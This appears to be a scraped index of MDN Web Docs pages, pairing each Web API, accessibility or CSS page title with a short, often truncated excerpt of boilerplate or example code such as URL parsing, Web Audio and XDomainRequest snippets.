if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
ScreenOrientation.lock() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
ScreenOrientation.onchange - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
ScreenOrientation.type - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
ScreenOrientation.unlock() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
ScreenOrientation - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Screen Capture API - Web APIs
feature policy validation user agents that support feature policy (either using http's feature-policy header or the <iframe> attribute allow) can specify a desire to use the screen capture api using the policy control directive display-capture: <iframe allow="display-capture" src="/some-other-document.html"> the default allow list is self, which lets the any content within the document use screen capture.
Screen Orientation API - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
ScriptProcessorNode.bufferSize - Web APIs
ate audiocontext and buffer source var audioctx = new audiocontext(); source = audioctx.createbuffersource(); // create a scriptprocessornode with a buffersize of 4096 and a single input and output channel var scriptnode = audioctx.createscriptprocessor(4096, 1, 1); console.log(scriptnode.buffersize); // load in an audio track via xhr and decodeaudiodata function getdata() { request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // give the node a function to pro...
ScriptProcessorNode.onaudioprocess - Web APIs
ate audiocontext and buffer source var audioctx = new audiocontext(); source = audioctx.createbuffersource(); // create a scriptprocessornode with a buffersize of 4096 and a single input and output channel var scriptnode = audioctx.createscriptprocessor(4096, 1, 1); console.log(scriptnode.buffersize); // load in an audio track via xhr and decodeaudiodata function getdata() { request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // give the node a function to ...
ScriptProcessorNode - Web APIs
ate audiocontext and buffer source var audioctx = new audiocontext(); source = audioctx.createbuffersource(); // create a scriptprocessornode with a buffersize of 4096 and a single input and output channel var scriptnode = audioctx.createscriptprocessor(4096, 1, 1); console.log(scriptnode.buffersize); // load in an audio track via xhr and decodeaudiodata function getdata() { request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // give the node a function to pro...
SecurityPolicyViolationEvent.statusCode - Web APIs
the statuscode read-only property of the securitypolicyviolationevent interface is a number representing the http status code of the document or worker in which the violation occurred.
SecurityPolicyViolationEvent - Web APIs
securitypolicyviolationevent.statuscoderead only a number representing the http status code of the document or worker in which the violation occurred.
Selection.extend() - Web APIs
WebAPISelectionextend
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Selection.removeAllRanges() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Selection.removeRange() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Selection.toString() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Selection API - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
ServiceWorkerGlobalScope.onfetch - Web APIs
note that an http error response (e.g., 404) will not trigger an exception.
ServiceWorkerGlobalScope.onpush - Web APIs
itle || "something has happened"; var message = data.message || "here's something you might want to check out."; var icon = "images/new-notification.png"; var notification = new notification(title, { body: message, tag: 'simple-push-demo-notification', icon: icon }); notification.addeventlistener('click', function() { if (clients.openwindow) { clients.openwindow('https://example.blog.com/2015/03/04/something-new.html'); } }); }); specifications specification status comment push apithe definition of 'onpush' in that specification.
ServiceWorkerGlobalScope - Web APIs
note that an http error response (e.g., 404) will not trigger an exception.
ServiceWorkerRegistration.navigationPreload - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
ServiceWorkerRegistration.pushManager - Web APIs
function(serviceworkerregistration) { serviceworkerregistration.pushmanager.subscribe().then( function(pushsubscription) { console.log(pushsubscription.subscriptionid); console.log(pushsubscription.endpoint); // the push subscription details needed by the application // server are now available, and can be sent to it using, // for example, an xmlhttprequest.
Service Worker API - Web APIs
service workers only run over https, for security reasons.
SharedWorkerGlobalScope.applicationCache - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SharedWorkerGlobalScope.onconnect - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Slottable: assignedSlot - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Slottable - Web APIs
WebAPISlottable
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
SourceBuffer - Web APIs
rce = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); } function fetchab (url, cb) { console.log(url); var xhr = new xmlhttprequest; xhr.open('get', url); xhr.responsetype = 'arraybuffer'; xhr.onload = function () { cb(xhr.response); }; xhr.send(); } specifications specification status comment media source extensionsthe definition of 'sourcebuffer' in that specification.
SpeechGrammarList.addFromURI() - Web APIs
navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; speechrecognitionlist.addfromuri('http://www.example.com/grammar.txt'); // adds a second grammar to the list.
SpeechRecognition.serviceURI - Web APIs
examples var recognition = new speechrecognition(); recognition.serviceuri = 'http://www.example.com'; ...
StereoPannerNode.StereoPannerNode() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
StorageManager.persist() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
StylePropertyMapReadOnly.get() - Web APIs
let's start by creating a link inside a paragraph in our html, and adding a definition list which we will populate with javascript: <p> <a href="https://example.com">link</a> </p> <dl id="regurgitation"></dl> we add a bit of css, including a custom property and an inhertable property: p { font-weight: bold; } a { --colour: red; color: var(--colour); } we use the element's computedstylemap() to return a stylepropertymapreadonly object.
TaskAttributionTiming.containerId - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
TaskAttributionTiming.containerType - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
HTMLSlotElement.assignedSlot - Web APIs
WebAPITextassignedSlot
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
TextEncoder.prototype.encodeInto() - Web APIs
this : self : global); source: https://github.com/anonyco/fastestsmallesttextencoderdecoder specifications specification status comment encodingthe definition of 'textencoder.encode()' in that specification.
UDP Socket API - Web APIs
//todo: docs are missing, see https://bugzilla.mozilla.org/show_bug.cgi?id=745283 ...
UIEvent.initUIEvent() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
UIEvent.layerX - Web APIs
WebAPIUIEventlayerX
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
URL.host - Web APIs
WebAPIURLhost
examples let url = new url('/docs/web/api/url/host'); console.log(url.host); // "developer.mozilla.org" url = new url('https://developer.mozilla.org:443/docs/web/api/url/host'); console.log(url.host); // "developer.mozilla.org" // the port number is not included because 443 is the scheme's default port url = new url('https://developer.mozilla.org:4097/docs/web/api/url/host'); console.log(url.host); // "developer.mozilla.org:4097" specifications specification status comment urlthe definition...
URL.password - Web APIs
WebAPIURLpassword
examples const url = new url('https://anonymous:flabada@developer.mozilla.org/docs/web/api/url/password'); console.log(url.password) // logs "flabada" specifications specification status comment urlthe definition of 'url.password' in that specification.
URL.port - Web APIs
WebAPIURLport
examples const url = new url('https://mydomain.com:80/svn/repos/'); console.log(url.port); // logs '80' specifications specification status comment urlthe definition of 'url.port' in that specification.
URL.protocol - Web APIs
WebAPIURLprotocol
examples const url = new url('/docs/web/api/url/protocol'); console.log(url.protocol); // logs "https:" specifications specification status comment urlthe definition of 'protocol' in that specification.
URL.searchParams - Web APIs
WebAPIURLsearchParams
examples if the url of your page is https://example.com/?name=jonathan%20smith&age=18 you could parse out the name and age parameters using: let params = (new url(document.location)).searchparams; let name = params.get('name'); // is the string "jonathan smith".
URL.username - Web APIs
WebAPIURLusername
examples const url = new url('https://anonymous:flabada@developer.mozilla.org/docs/web/api/url/username'); console.log(url.username) // logs "anonymous" specifications specification status comment urlthe definition of 'username' in that specification.
URLSearchParams() - Web APIs
// retrieve params via url.search, passed into ctor var url = new url('https://example.com?foo=1&bar=2'); var params = new urlsearchparams(url.search); // pass in a string literal var params2 = new urlsearchparams("foo=1&bar=2"); var params2a = new urlsearchparams("?foo=1&bar=2"); // pass in a sequence of pairs var params3 = new urlsearchparams([["foo", "1"], ["bar", "2"]]); // pass in a record var params4 = new urlsearchparams({"foo": "1", "bar": "2"}); specificati...
URLSearchParams.append() - Web APIs
examples let url = new url('https://example.com?foo=1&bar=2'); let params = new urlsearchparams(url.search.slice(1)); //add a second foo parameter.
URLSearchParams.delete() - Web APIs
return value void examples let url = new url('https://example.com?foo=1&bar=2&foo=3'); let params = new urlsearchparams(url.search.slice(1)); // delete the foo parameter.
URLSearchParams.get() - Web APIs
examples if the url of your page is https://example.com/?name=jonathan&age=18 you could parse out the 'name' and 'age' parameters using: let params = new urlsearchparams(document.location.search.substring(1)); let name = params.get("name"); // is the string "jonathan" let age = parseint(params.get("age"), 10); // is the number 18 requesting a parameter that isn't present in the query string will return null: let address = params.get("address"); // nu...
URLSearchParams.getAll() - Web APIs
examples let url = new url('https://example.com?foo=1&bar=2'); let params = new urlsearchparams(url.search.slice(1)); //add a second foo parameter.
URLSearchParams.has() - Web APIs
examples let url = new url('https://example.com?foo=1&bar=2'); let params = new urlsearchparams(url.search.slice(1)); params.has('bar') === true; //true specifications specification status comment urlthe definition of 'has()' in that specification.
URLUtilsReadOnly - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
VTTCue - Web APIs
WebAPIVTTCue
example html <video controls src="https://udn.realityripple.com/samples/c6/f8a3489533.webm"></video> css video { width: 320px; height: 180px; } javascript let video = document.queryselector('video'); video.addeventlistener('loadedmetadata', () => { const track = video.addtexttrack("captions", "简体中文subtitles", "zh_cn"); track.mode = "showing"; const cuecn = new vttcue(0, 2.500, '字幕会在0至2.5秒间显示');...
WEBGL_depth_texture - Web APIs
incorrectly stated as the target parameter in the specification, see https://www.khronos.org/bugzilla/show_bug.cgi?id=674.
WaveShaperNode.WaveShaperNode() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
WebGL2RenderingContext.samplerParameter[if]() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Using textures in WebGL - Web APIs
see http access control for details on cors.
Lifetime of a WebRTC session - Web APIs
in order to exchange signaling information, you can choose to send json objects back and forth over a websocket connection, or you could use xmpp or sip over an appropriate channel, or you could use xmlhttprequest over https with polling, or any other combination of technologies you can come up with.
Signaling and video calling - Web APIs
you can use anything you like, from websocket to xmlhttprequest to carrier pigeons to exchange the signaling information between the two peers.
Using WebRTC data channels - Web APIs
since tls is used to secure every https connection, any data you send on a data channel is as secure as any other data sent or received by the user's browser.
The WebSocket API (WebSockets) - Web APIs
cowboy: cowboy is a small, fast and modern http server for erlang/otp with websocket support.
Starting up and shutting down a WebXR session - Web APIs
your document needs to either have been loaded from the local drive (such as by using an url such as http://localhost/...), or using https when loading the page.
Web Locks API - Web APIs
the api provides optional functionality that may be used as needed, including: returning values from the asynchronous task shared and exclusive lock modes conditional acquisition diagnostics to query the state of locks in an origin an escape hatch to protect against deadlocks locks are scoped to origins; the locks acquired by a tab from https://example.com have no effect on the locks acquired by a tab from https://example.org:8080 as they are separate origins.
Web Workers API - Web APIs
in addition, workers may use xmlhttprequest for network i/o, with the exception that the responsexml and channel attributes on xmlhttprequest always return null.
window.cancelIdleCallback() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Window.closed - Web APIs
WebAPIWindowclosed
before attempting to change the url, it checks that the current window has an opener using the window.opener property and that the opener isn't closed: // check that an opener exists and is not closed if (window.opener && !window.opener.closed) { window.opener.location.href = 'http://www.mozilla.org'; } note that popups can only access the window that opened them.
Window.customElements - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Window.devicePixelRatio - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
window.dump() - Web APIs
WebAPIWindowdump
precompiled binaries are available in the zipped archive https://github.com/matthewkastor/redirector/archive/master.zip under redirector-master\gecko\console redirector\bin\release copy all the dll's and the exe to wherever you want.
Window.event - Web APIs
WebAPIWindowevent
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Window.frameElement - Web APIs
example const frameel = window.frameelement; // if we're embedded, change the containing element's url to 'http://mozilla.org/' if (frameel) { frameel.src = 'http://mozilla.org/'; } specifications specification status comment html living standardthe definition of 'window.frameelement' in that specification.
Window.getDefaultComputedStyle() - Web APIs
see http://blog.mozilla.com/security/2010/03/31/plugging-the-css-history-leak/ and http://hacks.mozilla.org/2010/03/privacy-related-changes-coming-to-css-vistited/ for details of the examples of how this is implemented.
Window.localStorage - Web APIs
in particular, data stored by a script on a site accessed with http (e.g., http://example.com) is put in a different localstorage object from the same site accessed with https (e.g., https://example.com).
Window: message event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessage examples suppose a script sends a message to a different browsing context, such as another <iframe>, using code like this: const targetframe = window.top.frames[1]; const targetorigin = 'https://example.org'; const windowmessagebutton = document.queryselector('#window-message'); windowmessagebutton.addeventlistener('click', () => { targetframe.postmessage('hello there', targetorigin); }); the receiver can listen for the message using addeventlistener() with code like this: window.addeventlistener('message', (event) => { console.log(`received message: ${event.data}`); }); a...
Window.minimize() - Web APIs
WebAPIWindowminimize
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Window.personalbar - Web APIs
syntax objref =window.personalbar example fixme: https://bugzilla.mozilla.org/show_bug.cgi?id=790023 the following complete html example shows the way that the visible property of the various "bar" objects is used, and also the change to the privileges necessary to write to the visible property of any of the bars on an existing window.
Window.print() - Web APIs
WebAPIWindowprint
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Window.prompt() - Web APIs
WebAPIWindowprompt
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Window.releaseEvents() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Window.requestFileSystem() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
window.requestIdleCallback() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Window.resizeBy() - Web APIs
WebAPIWindowresizeBy
// create resizable window myexternalwindow = window.open("http://myurl.domain", "mywindowname", "resizable"); // resize window to 500x500 myexternalwindow.resizeto(500, 500); // make window relatively smaller to 400x400 myexternalwindow.resizeby(-100, -100); the window you create must respect the same origin policy.
Window.restore() - Web APIs
WebAPIWindowrestore
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Window.routeEvent() - Web APIs
WebAPIWindowrouteEvent
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Window.scroll() - Web APIs
WebAPIWindowscroll
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Window.scrollBy() - Web APIs
WebAPIWindowscrollBy
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Window.sessionStorage - Web APIs
in particular, data stored by a script on a site accessed with http (e.g., http://example.com) is put in a different sessionstorage object from the same site accessed with https (e.g., https://example.com).
Window.setCursor() - Web APIs
WebAPIWindowsetCursor
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Window.showModalDialog() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Window.stop() - Web APIs
WebAPIWindowstop
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Window.updateCommands() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
WindowOrWorkerGlobalScope.atob() - Web APIs
example const encodeddata = window.btoa('hello, world'); // encode a string const decodeddata = window.atob(encodeddata); // decode the string polyfill you can use a polifill from https://github.com/maxart2501/base64-js/blob/master/base64.js for browsers that don't support it.
WindowOrWorkerGlobalScope.btoa() - Web APIs
function frombinary(binary) { const bytes = new uint8array(binary.length); for (let i = 0; i < bytes.length; i++) { bytes[i] = binary.charcodeat(i); } return string.fromcharcode(...new uint16array(bytes.buffer)); } const decoded = atob(encoded); const original = frombinary(decoded); console.log(original); // ☸☹☺☻☼☾☿ polyfill you can use a polifill from https://github.com/maxart2501/base64-js/blob/master/base64.js for browsers that don't support it.
WindowOrWorkerGlobalScope.setTimeout() - Web APIs
|*| |*| https://developer.mozilla.org/docs/dom/window.setinterval |*| |*| syntax: |*| var timeoutid = window.settimeout(func, delay[, arg1, arg2, ...]); |*| var timeoutid = window.settimeout(code, delay); |*| var intervalid = window.setinterval(func, delay[, arg1, arg2, ...]); |*| var intervalid = window.setinterval(code, delay); |*| \*/ (function() { settimeout(function(arg1) { if (arg1 === 'test...
Worker - Web APIs
WebAPIWorker
workers may use xmlhttprequest for network communication, but its responsexml and channel attributes are always null.
WorkerGlobalScope.location - Web APIs
elf.console.log(self.location);, as these are being called on the worker scope, which can be referenced with workerglobalscope.self), you will get a workerlocation object written to the console — something like the following: workerlocation {hash: "", search: "", pathname: "/worker.js", port: "8000", hostname: "localhost"…} hash: "" host: "localhost:8000" hostname: "localhost" href: "http://localhost:8000/worker.js" origin: "http://localhost:8000" pathname: "/worker.js" port: "8000" protocol: "http:" search: "" __proto__: workerlocation you could use this location object to return more information about the document's location, as you might do with a normal location object.
WorkerNavigator.permissions - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
WritableStream - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
WritableStreamDefaultWriter.ready - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
XDomainRequest.abort() - Web APIs
syntax xdr.abort(); example var xdr = new xdomainrequest(); xdr.open("get", "http://example.com/api/method"); xdr.send(); xdr.abort(); specification not part of any specification.
XDomainRequest.onerror - Web APIs
example var xdr = new xdomainrequest(); xdr.open("post", "http://example.com/api/method"); xdr.onerror = function(){ //handle error } xdr.onload = function(){ //handle response with xdr.responsetext } xdr.send("param1=value1&param2=value2"); specification not part of any specification.
XDomainRequest.onload - Web APIs
syntax xdr.onload = funcref; example var xdr = new xdomainrequest(); xdr.open("post", "http://example.com/api/method"); xdr.onload = function(){ //handle response with xdr.responsetext } xdr.send("param1=value1&param2=value2"); specification not part of any specification.
XDomainRequest.onprogress - Web APIs
example var xdr = new xdomainrequest(); xdr.open("post", "http://example.com/api/method"); xdr.onprogress = function(){ //handle partial response with xdr.responsetext } xdr.onload = function(){ //handle response with xdr.responsetext } xdr.send("param1=value1&param2=value2"); specification not part of any specification.
XDomainRequest.ontimeout - Web APIs
example var xdr = new xdomainrequest(); xdr.open("post", "http://example.com/api/method"); xdr.ontimeout = function(){ //handle timeout } xdr.onload = function(){ //handle response with xdr.responsetext } xdr.send("param1=value1&param2=value2"); specification not part of any specification.
XDomainRequest.send() - Web APIs
example var xdr = new xdomainrequest(); xdr.open("post", "http://example.com/api/method"); xdr.onload = function(){ //handle response with xdr.responsetext } xdr.send("param1=value1&param2=value2"); specification not part of any specification.
XMLDocument.load() - Web APIs
WebAPIXMLDocumentload
as of at least gecko 1.9, this no longer supports cross-site loading of documents (use xmlhttprequest or fetch() instead).
XRInputSourceArray.length - Web APIs
let sources = xrsession.inputsources; if (sources.length === 0) { showalertdialog("you need to have at least one controller to play super duper shark jump fest 9000.", [ { label: "shop now", url: "https://www.amazon.com/s?k=vr+controllers" }, { label: "quit" handler: quitgame } ]); } here, if length is 0, a hypothetical showalertdialog() function is called with a prompt string explaining the need for a controller, and an array of objects, each describing a button and what should happen when it's clicked.
XSLT Basic Example - Web APIs
bar</author> </authors> <body>this is my article text.</body> </article> xsl stylesheet (example.xsl) : <?xml version="1.0"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/xsl/transform"> <xsl:output method="text"/> <xsl:template match="/"> article - <xsl:value-of select="/article/title"/> authors: <xsl:apply-templates select="/article/authors/author"/> </xsl:template> <xsl:template match="author"> - <xsl:value-of select="." /> </xsl:template> </xsl:stylesheet> browser output : article - my article authors: - mr.
Browser Differences - Web APIs
browser differences netscape 7.x (all platforms) and internet explorer 6 (windows) support the w3c xslt 1.0 standard (http://www.w3.org/tr/xslt).
msCaching - Web APIs
WebAPImsCaching
the mscaching read/write property specifies whether stream data downloaded using xmlhttprequestis cached to disk or not.
msCapsLockWarningOff - Web APIs
example fiddle: http://jsfiddle.net/jonathansampson/mqcha/1/ example 2 <html> <head> <title>mscapslockwarningoff example</title> <script type="text/javascript"> function capsoff() { if (document.mscapslockwarningoff == false) { document.mscapslockwarningoff = true; document.getelementbyid("caps").innerhtml = "warning off"; } else { ...
Web APIs
WebAPI
haderprecisionformat webglsync webgltexture webgltransformfeedback webgluniformlocation webglvertexarrayobject webkitcssmatrix websocket wheelevent window windowclient windoweventhandlers windoworworkerglobalscope worker workerglobalscope workerlocation workernavigator worklet writablestream writablestreamdefaultcontroller writablestreamdefaultwriter x xdomainrequest xmldocument xmlhttprequest xmlhttprequesteventtarget xmlhttprequestresponsetype xmlserializer xpathevaluator xpathexception xpathexpression xpathnsresolver xpathresult xrboundedreferencespace xrenvironmentblendmode xreye xrframe xrframerequestcallback xrhandedness xrinputsource xrinputsourcearray xrinputsourceevent xrinputsourceeventinit xrinputsourceschangeevent xrinputsourceschangeeventinit xrpermissiondescripto...
ARIA live regions - Accessibility
"venus">venus</option> <option value="earth">earth</option> <option value="mars">mars</option> </select> <button id="renderplanetinfobutton">go</button> </fieldset> <div role="region" id="planetinfo" aria-live="polite"> <h2 id="planettitle">no planet selected</h2> <p id="planetdescription">select a planet to view its description</p> </div> <p><small>information courtesy <a href="https://en.wikipedia.org/wiki/solar_system#inner_solar_system">wikipedia</a></small></p> javascript const planets_info = { mercury: { title: 'mercury', description: 'mercury is the smallest and innermost planet in the solar system.
Using the alert role - Accessibility
aria attributes used alert related aria techniques using the alertdialog role using the aria-invalid property compatibility tbd: add support information for common ua and at product combinations additional resources aria best practices - alert role: http://www.w3.org/tr/wai-aria-practices/#alert ...
Using the presentation role - Accessibility
li> <li role="presentation"> <a role="tab" href="#">tab 2</a> </li> <li role="presentation"> <a role="tab" href="#">tab 3</a> </li> </ul> working examples: notes aria attributes used related aria techniques compatibility tbd: add support information for common ua and at product combinations additional resources using aria - 2.9 use of role=presentation or role=none: https://www.w3.org/tr/using-aria/#presentation ...
ARIA Test Cases - Accessibility
or copy-paste: http://oaa-accessibility.org/examples/ for each example we test the "expected" results with assistive technologies, for each browser that at supports wai-aria in.
ARIA: timer role - Accessibility
examples some prominent web timers include clocks, stop watches and countdowns, such as ticketing websites, e-commerce sites, and event countdowns (see https://countingdownto.com/).
ARIA: form role - Accessibility
anything that is not a <form> cannot be submitted, therefore you would have to use javascript to build an alternative data submission mechanism, for example with xmlhttprequest.
ARIA: button role - Accessibility
html <button type="button" onclick="handlebtnclick()" onkeydown="handlebtnkeydown()"> mute audio </button> <span role="button" tabindex="0" aria-pressed="false" onclick="handlebtnclick(event)" onkeydown="handlebtnkeydown(event)"> mute audio </span> <audio id="audio" src="https://udn.realityripple.com/samples/41/191d072707.mp3"> your browser does not support the <code>audio</code> element.
WAI-ARIA Roles - Accessibility
please claim the role you want to work on by adding your name after the role's name: (old pages are linked from https://developer.mozilla.org/docs/web/accessibility/aria/aria_techniques).
overview - Accessibility
the paciello group blog: aria slider, part one, part two, part threet (example) creating an accessible, internationalized dojo rating widget tabs enhancing tabview accessibility with wai-aria roles and states, from the yui blog enhancing the jquery ui tabs accordingly to wcag 2.0 and aria tab panel example here on codetalks lightbox wcag 2.0 and aria-conformant lightbox application http://majx-js.digissime.net/js/popin/ form validation wcag 2.0 and aria-conformant live form validation tables german tutorial on creating an accessible form simple grid example at codetalks date picker grid at codetalks wcag 2.0 and aria-conformant sortable tables ...
Accessibility: What users can do to browse more safely - Accessibility
there is a github repository for it at https://github.com/0ui/gif-scrubber beeline reader beeline reader has a browser extension that allows you to set up for grayscale and dyslexi font, among other things take advantage operating system accessibility features most operating systems such as windows 10, have accessibility options that are surprisingly powerful.
Web accessibility for seizures and physical reactions - Accessibility
@media screen and (prefers-reduced-motion: reduce), (update: slow) { * { animation-duration: 0.001ms !important; animation-iteration-count: 1 !important; /* hat tip nick/cssremedy (https://css-tricks.com/revisiting-prefers-reduced-motion-the-reduced-motion-media-query/#comment-1700170) */ transition-duration: 0.001ms !important; } } from w3.org's page on media queries 4: the update media feature is used to query the ability of the output device to modify the appearance of content once it has been rendered.
Text labels and names - Accessibility
example <iframe title="mdn web docs" width="300" height="200" src="https://developer.mozilla.org"> </iframe> use alt attribute to label mglyph elements when writing equations with mathml, give each <mglyph> element an alt attribute containing a name that describes the symbol.
-moz-context-properties - CSS: Cascading Style Sheets
for example: .img1 { width: 100px; height: 100px; -moz-context-properties: fill, stroke; fill: lime; stroke: purple; } now that you've done this, the svg image can use the values of the fill and stroke properties, for example: <img class="img1" src="data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg'> <rect width='100%' height='100%' stroke-width='30px' fill='context-fill red' stroke='context-stroke' fill-opacity='0.5'/></svg>"> here we've set the image src to a data uri containing a simple svg image; the <rect> inside has been made to take its fill and stroke values from the fill and stroke set on the <img> element by givi...
::slotted() - CSS: Cascading Style Sheets
WebCSS::slotted
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
:any-link - CSS: Cascading Style Sheets
WebCSS:any-link
/* selects any element that would be matched by :link or :visited */ :any-link { color: green; } syntax :any-link examples html <a href="https://example.com">external link</a><br> <a href="#">internal target link</a><br> <a>placeholder link (won't get styled)</a> css a:any-link { border: 1px solid blue; color: orange; } /* webkit browsers */ a:-webkit-any-link { border: 1px solid blue; color: orange; } result specifications specification status comment selectors level 4the definition of ':an...
:checked - CSS: Cascading Style Sheets
WebCSS:checked
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
:defined - CSS: Cascading Style Sheets
WebCSS:defined
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
:has() - CSS: Cascading Style Sheets
WebCSS:has
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
:host-context() - CSS: Cascading Style Sheets
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
:host - CSS: Cascading Style Sheets
WebCSS:host
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
:is() (:matches(), :any()) - CSS: Cascading Style Sheets
WebCSS:is
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
:lang() - CSS: Cascading Style Sheets
WebCSS:lang
/* selects any <p> in english (en) */ p:lang(en) { quotes: '\201c' '\201d' '\2018' '\2019'; } note: in html, the language is determined by a combination of the lang attribute, the <meta> element, and possibly by information from the protocol (such as http headers).
:link - CSS: Cascading Style Sheets
WebCSS:link
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
:read-only - CSS: Cascading Style Sheets
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
:read-write - CSS: Cascading Style Sheets
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
:scope - CSS: Cascading Style Sheets
WebCSS:scope
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
:target - CSS: Cascading Style Sheets
WebCSS:target
/* selects an element with an id matching the current url's fragment */ :target { border: 2px solid black; } for example, the following url has a fragment (denoted by the # sign) that points to an element called section2: http://www.example.com/index.html#section2 the following element would be selected by a :target selector when the current url is equal to the above: <section id="section2">example</section> syntax :target examples a table of contents the :target pseudo-class can be used to highlight the portion of a page that has been linked to from a table of contents.
:visited - CSS: Cascading Style Sheets
WebCSS:visited
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
src - CSS: Cascading Style Sheets
WebCSS@font-facesrc
